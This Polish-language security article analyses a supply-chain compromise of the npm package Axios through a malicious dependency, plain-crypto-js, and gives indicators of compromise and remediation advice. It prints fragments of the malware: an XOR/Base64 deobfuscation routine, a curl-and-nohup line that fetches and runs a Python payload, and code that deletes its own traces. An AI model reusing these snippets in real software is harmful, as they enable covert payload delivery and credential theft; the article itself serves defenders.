Niedawno branża mierzyła się z incydentem dotyczącym pakietu Litellm w PyPI, a w nocy z 30 na 31 marca hakerzy skompromitowali Axios — jeden z najczęściej używanych klientów HTTP w ekosystemie JavaScript, pobierany ponad 100 milionów razy tygodniowo i wykorzystywany w wielu projektach.
Badacze ustalili, iż napastnicy opublikowali zainfekowane wersje Axios bezpośrednio w npm, omijając oficjalne repozytorium projektu na GitHubie.
Jak przebiegał atak
Atak odbył się poza standardowym procesem publikacji. zwykle Axios publikuje tagi wydań na GitHubie równolegle z publikacją w npm. W tym przypadku zainfekowane wersje axios@1.14.1 oraz axios@0.30.4 nie pojawiły się w oficjalnych tagach projektu (ostatnim oznaczonym wydaniem było v1.14.0).
Zespół Axios początkowo nie był w stanie odzyskać kontroli nad projektem, ponieważ napastnik posiadał wyższe uprawnienia dostępu. Przyczyną był wyciek długoterminowego tokena npm, używanego równolegle z zaufanymi metodami publikacji.
Chronologia zdarzeń:
- 18 godzin przed atakiem ktoś, używając adresu nrwise@proton.me, publikuje pakiet plain-crypto-js@4.2.0 — kopię legalnej biblioteki crypto-js
- 30 marca 2026 o 23:59 UTC pojawia się złośliwa wersja plain-crypto-js@4.2.1, podpisana jako jasonsaayman
- w ciągu kolejnych 39 minut opublikowano axios@1.14.1 oraz axios@0.30.4, do których dodano tę złośliwą zależność
Każdy projekt korzystający z nielockowanych wersji (np. ^1.14.0 lub ^0.30.0) automatycznie pobierał zainfekowany pakiet przy kolejnym npm install.
Oto schemat ogólnego działania ataku:
https://socket.dev/blog/axios-npm-package-compromised
Co zawierał plain-crypto-js?
Zgodnie z analizą badaczy, złośliwy kod wykorzystywał hook postinstall — oznacza to, iż podczas instalacji pakietu npm automatycznie i bez widocznych oznak uruchamiał plik setup.js.
Aby utrudnić wykrycie, zastosowano dwupoziomowy mechanizm ukrywania danych: najpierw odwracano ciąg znaków, zamieniano znaki _ na =, następnie dekodowano Base64, a na końcu wykonywano operację XOR z użyciem klucza OrDeR_7077 oraz stałej 333.
const _trans_1 = function(x, r) { const E = r.split("").map(Number); return x.split("").map((x, r) => { const S = x.charCodeAt(0), a = E[7 * r * r % 10]; return String.fromCharCode(S ^ a ^ 333); }).join(""); }; const _trans_2 = function(x, r) { let E = x.split("").reverse().join("").replaceAll("_", "="); let S = Buffer.from(E, "base64").toString("utf8"); return _trans_1(S, r); }; const ord = "OrDeR_7077";Skrypt sprawdzał system operacyjny (os.platform()) i pobierał odpowiedni payload z serwera kontrolowanego przez napastników: http://sfrclak[.]com:8000/. Ruch sieciowy był maskowany jako zapytania do packages[.]npm[.]org, aby ominąć systemy monitoringu.
Na macOS skrypt AppleScript pobierał plik binarny do katalogu /Library/Caches/com.apple.act.mond, a następnie uruchamiał go w tle. Trojan zbierał informacje o systemie, procesach i katalogach, wysyłając je co 60 sekund.
W systemie Windows malware wyszukiwał powershell, kopiował go i zapisywał jako %PROGRAMDATA%\wt.exe. Następnie przy użyciu VBScript pobierany był skrypt .ps1 do katalogu %TEMP%, który był uruchamiany z parametrem -ep bypass.
W systemach Linux pobierany był skrypt Python uruchamiany w tle:
curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &Po instalacji malware usuwało ślady swojej obecności, aby katalog node_modules wyglądał na nienaruszony:
fs.unlink(__filename, (x => {})); fs.unlink("package.json", (x => {})); fs.rename("package.md", "package.json", (x => {}));W efekcie pakiet wyglądał jak standardowy, bezpieczny crypto-js, co utrudniało wykrycie zagrożenia.
Co należy zrobić?
Jeśli korzystasz z Axios, warto sprawdzić swoje projekty.
Należy zweryfikować zależności i pliki lock pod kątem obecności:
- axios@1.14.1
- axios@0.30.4
- plain-crypto-js@4.2.1
Ponieważ złośliwy kod zbierał dane systemowe, napastnicy mogli uzyskać dostęp do kluczy SSH, plików konfiguracyjnych z zapisanymi hasłami, tokenów chmurowych oraz innych wrażliwych danych.
Samo usunięcie pakietu nie jest wystarczające. jeżeli skrypt został uruchomiony, wszystkie lokalne klucze, certyfikaty i dane dostępowe należy uznać za skompromitowane, a następnie unieważnić i wygenerować ponownie.











